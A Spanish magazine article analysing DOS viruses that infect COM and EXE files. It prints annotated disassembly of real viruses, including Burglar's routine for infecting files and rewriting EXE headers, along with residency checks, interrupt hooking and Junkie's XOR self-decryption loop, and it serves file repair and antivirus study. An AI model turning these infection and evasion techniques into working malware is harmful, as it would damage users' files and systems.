Virus de ficheros.

Autor: Juan-Mariano de Goyeneche.
Publicado en el Número 10 de Programación Actual.


Continuando con la entrega sobre Virus Informáticos, este mes se aborda el tema de los virus de ficheros ejecutables: COMs y EXEs.

Quizás el nombre de "virus de fichero" no sea el más adecuado. Al fin y al cabo, hay multitud de ficheros que no pueden infectar los virus. Hay quien prefiere llamarle "virus de ejecutables", aunque este término también está en debate puesto que un sector de arranque es, sin la menor duda, también ejecutable. Y luego están lo virus de macros de Word o Excel, que son indudablemente virus de ficheros, aunque esos ficheros son de datos y no son ejecutables... De cualquier forma, no se dedicará aquí más espacio del estrictamente necesario a disquisiciones semánticas, sino que se empezará inmediatamente con el estudio de los virus que afectan a ficheros ejecutables en el entorno DOS/Windows.


MISMA FILOSOFÍA, DISTINTO CAMPO

Como se recordará de la entrega anterior, los virus informáticos, a diferencia de sus homólogos biológicos, son incapaces de cualquier acción hasta que alguien -directa o indirectamente- los ejecuta. En un principio el creador del virus los ejecutará directamente y entonces empezarán su proceso de infección, a partir del cual ya se ejecutarán de forma indirecta, sea en un sector de arranque o como "mochila" de otro programa.

Si antes el virus se interponía en el arranque normal de la máquina y suplantaba al sector de arranque o MBR originales, aquí lo que hará será modificar los ejecutables con objeto de "colar" su propio código entre el de estos. La forma en que lleva a cabo estas acciones y las posibilidades a la hora de actuar se ven sustancialmente favorecidas en relación a las de los virus de arranque por el hecho de que el sistema operativo se encuentre ya cargado y tiene a su disposición todas las rutinas de gestión de memoria o procesamiento de ficheros que éste ofrece. Por eso el virus ya no tendrá que hacer cálculos con cilindros, cabezas y sectores, sino que cuenta con un nivel de abstracción más y podrá permitirse el lujo de decir cosas como "abre el fichero, colócate al final y añade mi código ahí". Para una breve introducción a la forma en que se accede a los servicios del sistema operativo desde programas DOS/Windows, véase el cuadro "El DOS por dentro".

El DOS por dentro

Un sistema operativo es mucho más que la shell (el command.com). Es un conjunto de servicios que significan una abstracción sobre el hardware subyacente y que ofrecen una máquina virtual sobre la que trabajar sin preocuparse con detalles de bajo nivel. El DOS (y Windows, no se piense que cuanto se cuenta en éste artículo es exclusivo del DOS: en Windows y Windows 95 se accede a los mismos servicios y con los mismos convenios... aunque las windows añadan alguno más) trata de dar estos servicios a través de la Interrupción 21h. El convenio es que el número de la función o servicio que se solicita se introduce en AH. Los restantes parámetros varían según la función de que se trate y se colocan en otros registros, aunque se trata -casi siempre al menos- de que haya una cierta uniformidad. Así, las funciones que operan con ficheros suelen requerir que se les pase el "handle" o identificador de fichero en BX, en AX se devuelve el código de error si el flag de acarreo (CF) vuelve activado, etc... Es necesario para entender lo que hace un virus proveerse de una buena lista que especifique los parámetros y significados de los valores que espera y devuelve cada función dentro de cada interrupción.

En vez de explicar directamente cómo hacen los virus para meterse dentro de otros ficheros ejecutables, y de ahí saltar desordenadamente a explicar otros aspectos igualmente importantes, parece más didáctico seguir el flujo de acciones normal de un virus desde que empieza a ejecutarse, aunque ahora mismo no sepamos muy bien cómo ha hecho para que la CPU le dé la ejecución a él y no al código del programa que queríamos usar. El caso es que CS:IP apunta a la primera instrucción del virus. Luego se verá por qué.


MMM, ¿ESTOY SOLO?

La primera acción que suelen emprender los virus es la de comprobar si se ha ejecutado con anterioridad otra copia de él mismo y, por tanto, se ha hecho ya con el control del sistema. En tal caso -normalmente- el virus hace que se ejecute el programa anfitrión, el que el usuario pretendía que de hecho se ejecutara, y deja que la anterior copia de sí mismo que está ya en memoria haga lo que le corresponda. La forma más habitual de llevar a cabo esto es mediante una llamada a la interrupción desviada por el virus -muchas veces la INT 21h, la que proporciona la gran mayoría de los servicios que ofrece el DOS- con un número de función inexistente entre esos servicios. Ante un caso así, si el virus no controla la interrupción 21h -si no está residente- el SO retorna con los registros sin modificación alguna, excepto AL, que queda a cero. Lo único que hace el virus, por tanto, es definirse un protocolo en el que llama al comienzo a una función inexistente y -si está ya residente- se compromete a devolver unos valores concretos en alguno de los registros.

Veamos cómo hace esto el virus barrotes:

16B9:06DF B4EE 		MOV  AH,EE 	; No hay ninguna función EEh en la INT 21h
16B9:06E1 CD21 		INT  21
16B9:06E3 3CFE 		CMP  AL,FE 
16B9:06E5 7503 		JNZ  06EA
16B9:06E7 E9BA00 	JMP  07A4 	; Mmm, no devuelve un 0... Debo estar ya en memoria.

Algunos virus, más perversos, incluyen un nivel de sofisticación mayor. Tratan de evitar que cualquier programa tonto (unas diez lineas de ensamblador) pueda -como en este caso- comprobar que el virus Barrotes se encuentra en memoria con sólo llamar a la interrupción 21h poniendo EEh en AH y comprobando si AL vale FEh a la salida. Peor incluso: alguien podría hacer un mini-residente que contestara a las llamadas a funciones inexistentes con los valores esperados por decenas de virus conocidos, impidiendo que estos se hicieran residentes al creer que ya lo son. Para evitar esto, el virus pone en otro registro un número aleatorio que cambia en cada llamada, y la rutina debe responder de forma distinta cada vez, según el valor que se le haya pasado. Si lo que debe devolver es el valor de alguna variable del propio virus que cambia continuamente, la complicación para el programita que trata de engañarle es aún mayor... y además los resultados no suelen ser especialmente agradables cuando el virus detecta que tratan de engañarle. Por tanto es recomendable actuar con prudencia y estudiar muy bien el virus antes de hacer este tipo de programas-trampa.

Evidentemente, no todos los virus son residentes en memoria, aunque esto es mucho más efectivo -desde el punto de vista del virus, claro- ya que se puede actuar en cualquier momento que se produzca la interrupción que se ha redireccionado, y no sólo cuando se ejecute un programa infectado.

Otros virus, los que se denominaron "multipartite" en [Virus-1] por infectar tanto ficheros ejecutables como sectores de arranque, se ven obligados a hacer una comprobación más curiosa: "¿qué tipo de virus soy hoy? ¿De arranque, ejecutable ?" El virus Junkie resuelve el problema de la siguiente manera:

16B9:C9AF 8CC8 		MOV  AX,CS
16B9:C9B1 3D0000 	CMP  AX,0000
16B9:C9B4 7421 		JZ   C9D7 

Si el segmento de código del virus es el 0, no cabe duda de que se está ejecutando como virus de arranque (Véase [Virus-2.I] y [Virus-2.II]).


VUELTA AL PROGRAMA ORIGINAL

Bien sea porque el virus ya se encontraba en memoria o porque ya ha hecho cuanto necesitaba para asegurarse su futuro dentro del sistema, antes o después tiene que hacer que el programa original se ejecute de forma transparente. Y más vale que sea antes que después para no dar al usuario indicios de que algo extraño está ocurriendo. Este punto es sumamente importante, puesto que en él se descubre dónde comenzaba el programa realmente y, por tanto, permitirá reparar el fichero dañado restableciéndole a su estado original. Aquí sí es necesario conocer la estructura interna de los ejecutables, que varía de los COM a los EXE. Véanse los cuadros adjuntos que explican su estructura.

La dirección del programa original la tuvo que guardar el virus dentro de su espacio de datos en el proceso de infección. En algunos virus se puede sacar este punto de inicio por simple inspección, leyendo el código. Es este el caso de, por ejemplo, el Junkie nuevamente:

16B9:C9B6 BF0001 	MOV  DI,0100
16B9:C9B9 C705EB59 	MOV  WORD PTR [DI],59EB
16B9:C9BD C745029058 	MOV  WORD PTR [DI+02],5890
16B9:C9C2 0E 		PUSH CS
16B9:C9C3 57 		PUSH DI

Lo que ha copiado a la posición CS:100h (punto de entrada de todos los ficheros COM) no son datos: es código. El siguiente:

16B9:0100 EB59 		JMP  015B
16B9:0102 90 		NOP
16B9:0103 58 		POP  AX

El PUSH CS; PUSH DI es para hacer luego un RETF, y que se ejecute lo que haya en CS:DI, es decir el JMP y por ende, el programa.

En otros casos, detectar a simple vista la dirección de inicio no es tan fácil, y se hace necesario ejecutar paso a paso con debug el virus (saltándose, claro está, las comprobaciones para ver si está residente, los efectos no deseados, etc) para hacerle llegar al punto en el que se ha visto que el virus salta al programa, pero donde nos falta el valor de algún registro o posición de memoria. Es el caso, por ejemplo, del virus AMOEBA:

16B9:5BA4 BCFEFF 	MOV  SP,FFFE
16B9:5BA7 8B976D01 	MOV  DX,[BX+016D]
16B9:5BAB 89160001 	MOV  [0100],DX
16B9:5BAF 8B976F01 	MOV  DX,[BX+016F]
16B9:5BB3 89160201 	MOV  [0102],DX
16B9:5BB7 BB0001 	MOV  BX,0100
16B9:5BBA 8BD1 		MOV  DX,CX
16B9:5BBC 53 		PUSH BX
16B9:5BBD 8BDA 		MOV  BX,DX
16B9:5BBF C3 		RET


REDIRECCIONANDO INTERRUPCIONES

Lo primero que suele hacer un virus una vez que ha comprobado que no se encuentra en memoria es asegurarse que más adelante pueda recuperar el control del ordenador. Como se ha apuntado ya, la forma más fácil de conseguirlo es redireccionar alguna interrupción para que se ejecute código vírico cada vez que esta sea llamada. Esto que se comenta no es nada nuevo: ya lo hacían todos los virus de arranque con la interrupción 13h, la encargada de gestionar los accesos a disco duro y disquete.

Recuérdese de entonces que las direcciones de las rutinas de atención a interrupciones -también llamadas vectores de interrupción- se encuentran a partir de la dirección 0000:0000, y que al estar formados por segmento:desplazamiento, se puede localizar la dirección de una rutina con leer a partir de la dirección 0000:numero de interrupción * 4. Debido al convenio de almacenamiento de palabras en memoria usado por Intel (conocido como "Little Endian") la primera palabra a partir de esa dirección corresponde al desplazamiento y la siguiente (dos bytes más arriba) al segmento. Los virus de arranque leían y cambiaban estas direcciones directamente. Los de ejecutables pueden optar -lógicamente- por hacer lo propio, aunque cuentan además con dos servicios proporcionados por el sistema: la función 35h para obtener el vector de una interrupción y la 25h para cambiarlo. El virus Barrotes es un ejemplo muy didáctico en este aspecto porque utiliza los dos métodos (!) y, sorprendentemente, emplea la INT 21h para leer el vector -que es la operación menos peligrosa-, y en cambio lo cambia "a pelo" con el consiguiente peligro si se produce una interrupción habiendo cambiado el desplazamiento pero antes de ser capaz de cambiar el segmento:

09F7:0387 0E 		PUSH CS
09F7:0388 1F 		POP  DS
09F7:0389 B82435 	MOV  AX,3524 	; AL == No de interrupcio'n
09F7:038C CD21 		INT  21
09F7:038E 2E 		CS:
09F7:038F 891E0A01 	MOV  [010A],BX 	; BX == desplazamiento original
09F7:0393 2E 		CS:
09F7:0394 8C060C01 	MOV  [010C],ES 	; ES == segmento original
09F7:0398 33C0 		XOR  AX,AX 	; Segmento 0: parece que va a hacer
09F7:039A 8EC0 		MOV  ES,AX 	;algo con vectores de interrupción 
09F7:039C 8D167801 	LEA  DX,[0178] 	; DS:DX == nueva dirección
09F7:03A0 26 		ES:
09F7:03A1 89169000 	MOV  [0090],DX 	; 90h == 24h * 4
09F7:03A5 26 		ES:
09F7:03A6 8C1E9200 	MOV  [0092],DS 	; 92h == 24h * 4 + 2

En este caso cambia una interrupción, no para "perpetuarse en el poder", sino para protegerse de sí mismo: la 24h es la interrupción de tratamiento de errores críticos, la que presenta el conocido mensaje de: "Cancelar, Reintentar o Ignorar". Casi todos los virus la redireccionan para que si provocan un error mientras hacen sus manipulaciones, el usuario no sospeche. A más de uno le extrañaría un error de escritura en disquete cuando él no ha usado para nada la disquetera. La nueva rutina es casi siempre:

09F7:0333 B003 		MOV  AL,03 
09F7:0335 CF 		IRET 

El 3 devuelto en AL indica que se cancele la operación en curso, pero sólo es una respuesta válida a partir de la versión 3.1 del DOS, y muchos virus la usan sin comprobarlo.

Los ficheros COM

Son extremadamente simples: Constan tan sólo de un segmento (64 Kbytes) de memoria a repartirse entre código, datos y pila (stack). Por ello al ejecutarse un COM el valor de CS, DS, ES y SS es el mismo, y sólo depende de la memoria que quede libre en el sistema. Así que el SO le asigna un segmento libre, coloca un PSP (Program Segment Prefix) en el desplazamiento 0, y el fichero en sí a partir de la dirección 100h, empezándolo a ejecutar a partir de ahí.

Generalmente la primera instrucción de los COM (la que se coloca en CS:100h) es un JMP a otra zona donde está todo el código y después del JMP hay datos. Muchos virus confían en esta suposición y alteran los 3 primeros bytes del fichero para que apunten al virus, pero nada obliga a que en CS:100h haya un JMP, así que la información que guardan antes de sobreescribir esos 3 primeros bytes puede no ser la de inicio real del programa, y tras la infección el COM seguramente se colgará.

Pocos virus se aseguran de que el primer código del fichero sea un EBh o un E9h (código máquina del JMP).


Los ficheros EXE

Solucionan las limitaciones de los COM a costa de una mayor complejidad. Ahora se tienen múltiples segmentos, así que un EXE puede ser mucho mayor de 64 Kb. Para poder hacer referencias dentro del programa a unos segmentos que el propio sistema asignará en tiempo de ejecución dentro de las zonas de memoria que tenga libres -y que, por tanto, son desconocidas a priori- es necesario colocar una cabecera al comienzo de los EXE. Esta zona es la que modifican todos los virus para hacer que el comienzo pase a estar en el código del virus y no en el del programa en sí.


Cabecera de un archivo EXE.
Desplazamiento Descripción
00h
Caracteres 'MZ' (4Dh, 5Ah): Identificador de fichero EXE.
02h
Resto : longitud del fichero MOD 512.
04h
Número de páginas: longitud del fichero DIV 512.
06h
Número de direcciones de segmento a reubicar.
08h
Tamaño de la cabecera en párrafos (1 párrafo = 16 bytes).
0Ah
Nº mínimo de párrafos de memoria para cargar el fichero.
0Ch
Nº máximo de párrafos de memoria para cargar el fichero.
0Eh
SS inicial al cargar el EXE.
10h
SP inicial al cargar el EXE.
12h
Suma de control o "checksum" de la cabecera. El DOS no la comprueba para nada y muchos virus la utilizan para marcar los ficheros que ya han infectado. Así no los infectan dos veces.
14h
IP inicial al cargar el EXE. El virus lo modifica para que al cargar el programa se ejecute antes el virus.
16h
CS inicial al cargar el EXE. También lo modifica el virus.
18h
Offset de comienzo de la tabla de reubicación.
1Ah
Número de overlay.


LA INFECCIÓN

Un virus que no infecte otros ficheros no tiene especial gracia. Es más: ni siquiera sería considerado un virus. Junto con el apartado que explicaba cómo localizar la posición de inicio real del programa infectado, ésta es quizás la parte más importante del artículo, porque sólo aprendiendo la forma en que se producen las infecciones se puede dar uno cuenta de si las medidas que cree seguras contra los virus -como hacer los ficheros de sólo lectura o vigilar su fecha de modificación y/o tamaño lo son realmente o, como se verá enseguida, resultan totalmente inútiles. De nuevo, la vieja máxima: "Para enfrentarte a tu enemigo, conócelo primero".

Ya se ha dicho que los ficheros COM y EXE no tienen distinta extensión por capricho, sino que detrás se esconden profundas diferencias en cuanto a concepción y estructura. Es lógico que por ello las operaciones empleadas para modificarlos añadiéndoles el código vírico sean distintas.

En los EXE, por ejemplo, se hace imprescindible modificar su cabecera. Pero a pesar de ello numerosas operaciones son comunes a ámbos formatos. Como ejemplo se estudiará el proceso de infección del virus Burglar. Sólo infecta EXEs, pero como los COM son más sencillos, puede resultar suficientemente didáctico. Una nota importante: para dificultar su tarea a los antivirus usa una técnica curiosa. Llama una única vez al código de la INT 21h (CDh 21h) y cada vez que necesita usar esta interrupción hace un CALL a la subrutina 00B8h, pero además con los registros AH y AL intercambiados con respecto a lo que espera la INT 21h. Así que cada CALL 00B8 debe ser interpretado como: XCHG AH,AL; INT 21. El autor confía en que no resulte especialmente confuso y en que ayude a pensar en las dificultades a que se puede uno enfrentar al estudiar código vírico (algunas líneas han sido deliberadamente alteradas con propósitos púramente didácticos). Obsérvese la inutilidad de poner atributos de sólo lectura a los ficheros o de mirar la hora de modificación, ya que igual que se ponen... se pueden quitar.

0CA9:01D1 B84300 	MOV  AX,0043 	;Obtener atributos del fichero
0CA9:01D4 E8E1FE 	CALL 00B8 	; (sólo lectura, oculto, etc)
0CA9:01D7 1E 		PUSH DS 
0CA9:01D8 52 		PUSH DX
0CA9:01D9 51 		PUSH CX;	; Guardarlos en la pila para poderlos restaurar tras la infección 
0CA9:01DA 33C9 		XOR  CX,CX 	;Nuevos atributos: todos a 0
0CA9:01DC B84301 	MOV  AX,0143 	;Pone los nuevos atributos
0CA9:01DF E8D6FE 	CALL 00B8 
0CA9:01E2 7308 		JNB  01EC 
0CA9:01E4 2E 		CS:
0CA9:01E5 FE063405 	INC  BYTE PTR [0534]
0CA9:01E9 EB65 		JMP  0250 
0CA9:01EB 90 		NOP 
0CA9:01EC B83D02 	MOV  AX,023D 	;Abrir fichero para lectura/escritura 
0CA9:01EF E8C6FE 	CALL 00B8 
0CA9:01F2 7309 		JNB  01FD 
0CA9:01F4 2E 		CS:
0CA9:01F5 FE063405 	INC  BYTE PTR [0534]
0CA9:01F9 EB55 		JMP  0250
0CA9:01FB 90 		NOP 
0CA9:01FC 90 		NOP
0CA9:01FD 93 		XCHG BX,AX 
0CA9:01FE B85700 	MOV  AX,0057 	;Obtener la fecha y la hora y guardarlos para poderlos restaurar
0CA9:0201 E8B4FE 	CALL 00B8 
0CA9:0204 2E 		CS:
0CA9:0205 890E2905 	MOV  [0529],CX 	; CX == hora
0CA9:0209 52 		PUSH DX 	; DX == fecha 
0CA9:020A 90 		NOP
0CA9:020B 0E 		PUSH CS
0CA9:020C 1F 		POP  DS
0CA9:020D 0E 		PUSH CS
0CA9:020E 07 		POP  ES
0CA9:020F B03F 		MOV  AL,3F 	; Lee primeros 102 (66h) bytes
0CA9:0211 BA7F04 	MOV  DX,047F
0CA9:0214 B96600 	MOV  CX,0066
0CA9:0217 E89EFE 	CALL 00B8
0CA9:021A A17F04 	MOV  AX,[047F] 	; AX == 2 primeros bytes del fichero
0CA9:021D 90 		NOP
0CA9:021E 3D5A4D 	CMP  AX,4D5A
0CA9:0221 90 		NOP
0CA9:0222 7409 		JZ   022D
0CA9:0224 3D4D5A 	CMP  AX,5A4D 	; ¿Es un EXE? (cadena "MZ")
0CA9:0227 90 		NOP
0CA9:0228 7403 		JZ   022D
0CA9:022A EB14 		JMP  0240
0CA9:022C 90 		NOP
0CA9:022D A09304 	MOV  AL,[0493] 	; [0493] == checksum de la cabecera
0CA9:0230 3478 		XOR  AL,78
0CA9:0232 38069104 	CMP  [0491],AL 	; ¿Está ya infectado?
0CA9:0236 7408 		JZ   0240
0CA9:0238 EB2E 		JMP  0268
0CA9:023A 90 		NOP
0CA9:023B 830E29051D 	OR   WORD PTR [0529],+1D


Cuando se llega aquí el fichero ya está infectado o bien se ha terminado de infectar. Se le reponen los atributos de fichero y su fecha de modificación:

0CA9:0240 5A 		POP  DX 		; Repone la fecha y la
0CA9:0241 8B0E2905 	MOV  CX,[0529] 	; hora originales del
0CA9:0245 B85701 	MOV  AX,0157 	; fichero
0CA9:0248 E86DFE 	CALL 00B8
0CA9:024B B03E 		MOV  AL,3E 	; Cerrar fichero
0CA9:024D E868FE 	CALL 00B8
0CA9:0250 B84301 	MOV  AX,0143 	; Reponerle atributos originales
0CA9:0253 59 		POP  CX
0CA9:0254 5A 		POP  DX
0CA9:0255 1F 		POP  DS
0CA9:0256 E85FFE 	CALL 00B8


Si no estaba aún infectado... se infecta:

0CA9:0291 B002 		MOV  AL,02
0CA9:0XXX 33C9 		XOR  CX,CX
0CA9:0XXX 33D2 		XOR  DX,DX
0CA9:0XXX B442 		MOV  AH,42
0CA9:0XXX CD21 		INT  21 		;Colocarse al final del fichero
0CA9:0296 83FA06 	CMP  DX,+06 	;DS:DX nuevo puntero en el fichero
0CA9:0299 77A5 		JA   0240
0CA9:029B 0BD2 		OR   DX,DX 	; Si el fichero
0CA9:029D 7507 		JNZ  02A6 	; ocupa menos
0CA9:029F 3D0001 	CMP  AX,0100 	; de 256 bytes... no lo infectamos
0CA9:02A2 7702 		JA   02A6
0CA9:02A4 EB9A 		JMP  0240 

El código que sigue recalcula la nueva cabecera para el EXE. Por cuestiones de espacio se deja al lector como ejercicio su análisis detallado. Simplemente téngase en cuenta que SI apunta al primer byte de la cabecera, y véase el cuadro explicativo sobre la estructura de esta.

0CA9:02A6 52 		PUSH DX 
0CA9:02A7 50 		PUSH AX 
0CA9:02A8 8B4404 	MOV  AX,[SI+04]
0CA9:02AB 8B7C02 	MOV  DI,[SI+02]
0CA9:02AE 0BFF 		OR   DI,DI
0CA9:02B0 7401 		JZ   02B3
0CA9:02B2 48 		DEC  AX
0CA9:02B3 B90002 	MOV  CX,0200 
0CA9:02B6 F7E1 		MUL  CX 
0CA9:02B8 03C7 		ADD  AX,DI
0CA9:02BA 83D200 	ADC  DX,+00
0CA9:02BD 5F 		POP  DI
0CA9:02BE 3BF8 		CMP  DI,AX
0CA9:02C0 5F 		POP  DI
0CA9:02C1 75E1 		JNZ  02A4 
0CA9:02C3 3BFA 		CMP  DI,DX 
0CA9:02C5 75DD 		JNZ  02A4
0CA9:02C7 50 		PUSH AX 
0CA9:02C8 52 		PUSH DX
0CA9:02C9 56 		PUSH SI
0CA9:02CA BE8D04 	MOV  SI,048D 
0CA9:02CD BF0304 	MOV  DI,0403 
0CA9:02D0 B90A00 	MOV  CX,000A
0CA9:02D3 F3 		REPZ
0CA9:02D4 A4 		MOVSB
0CA9:02D5 5E 		POP  SI
0CA9:02D6 33FF 		XOR  DI,DI
0CA9:02D8 E81D01 	CALL 03F8
0CA9:02DB B91000 	MOV  CX,0010
0CA9:02DE F7F1 		DIV  CX
0CA9:02E0 2B4408 	SUB  AX,[SI+08]
0CA9:02E3 894416 	MOV  [SI+16],AX
0CA9:02E6 89166003 	MOV  [0360],DX
0CA9:02EA 895414 	MOV  [SI+14],DX
0CA9:02ED 81C27E04 	ADD  DX,047E
0CA9:02F1 895410 	MOV  [SI+10],DX
0CA9:02F4 89440E 	MOV  [SI+0E],AX
0CA9:02F7 5A 		POP  DX
0CA9:02F8 58 		POP  AX
0CA9:02F9 057E04 	ADD  AX,047E
0CA9:02FC 83D200 	ADC  DX,+00
0CA9:02FF B90002 	MOV  CX,0200
0CA9:0302 F7F1 		DIV  CX 
0CA9:0304 0BD2 		OR   DX,DX
0CA9:0306 7401 		JZ   0309
0CA9:0308 40 		INC  AX 
0CA9:0309 894404 	MOV  [SI+04],AX
0CA9:030C 895402 	MOV  [SI+02],DX 

Lo siguiente no es evidente, y además es particular de este virus: utiliza el campo de checksum de la cabecera EXE ( [SI+12] ) como marca de que el fichero ya está infectado.

0CA9:030F 8A4414 	MOV  AL,[SI+14] 
0CA9:0312 3478 		XOR  AL,78 
0CA9:0314 884412 	MOV  [SI+12],AL
0CA9:0317 33D2 		XOR  DX,DX 	;Añade el código del virus al
0CA9:0319 B97E04 	MOV  CX,047E 	; final del fichero. En un COM 
0CA9:031C B440 		MOV  AH,40 	; sería igual
0CA9:031E CD21 		INT  21 
0CA9:0320 C606340503 	MOV  BYTE PTR [0534],03
0CA9:0325 B000 		MOV  AL,00 
0CA9:0327 E83500 	CALL 035F 	; Pone el puntero al comienzo del fichero
0CA9:032A BA7F04 	MOV  DX,047F
0CA9:032D B91800 	MOV  CX,0018	; Escribe la cabecera. En un COM
0CA9:0330 B440 		MOV  AH,40 	; cambiaría el JMP del principio
0CA9:0332 CD21 		INT  21 
0CA9:0334 B42C 		MOV  AH,2C 	;Obtiene la hora. Si no es el 
0CA9:0336 CD21 		INT  21 		; minuto 14 (0Eh) lo cierra y le 
0CA9:0338 80F90E 	CMP  CL,0E 	; repone los atributos. Si lo es,
0CA9:033B 75XX 		JNZ  0240 	; muestra antes un mensaje.


PIEDRAS EN EL CAMINO

Por último, sólo señalar que muchos virus tratan de dificultarle la vida a los antivirus mediante técnicas de encriptación y polimorfismo, generalmente autoencriptándose haciendo XOR con un valor aleatorio y distinto en cada infección al resto de su propio código. Como muestra un botón, tomado del Junkie:

09F7:C9A0 BEAFC9 	MOV  SI,C9AF 	; SI -> comienzo del código encriptado
09F7:C9A3 B9F401 	MOV  CX,01F4 	; Nº de words a desencriptar
09F7:C9A6 26 		ES:
09F7:C9A7 813469CA 	XOR  WORD PTR [SI],CA69
09F7:C9AB 46 		INC  SI
09F7:C9AC 46 		INC  SI
09F7:C9AD E2F7 		LOOP C9A6 

Por tanto, para poder hacer todos los análisis explicados en este artículo, es necesario previamente desencriptarlo tan simplemente como llevando el DEBUG a la dirección de inicio de la rutina desencriptadora y ejecutándola.

REFERENCIAS

  • [Virus-1] Introducción a los virus informáticos. Programación Actual. Número 6.

  • [Virus-2.I] "Virus de arranque (I)". Programación Actual. Número 8.

  • [Virus-2.II] "Virus de arranque (II)". Programación Actual. Número 9.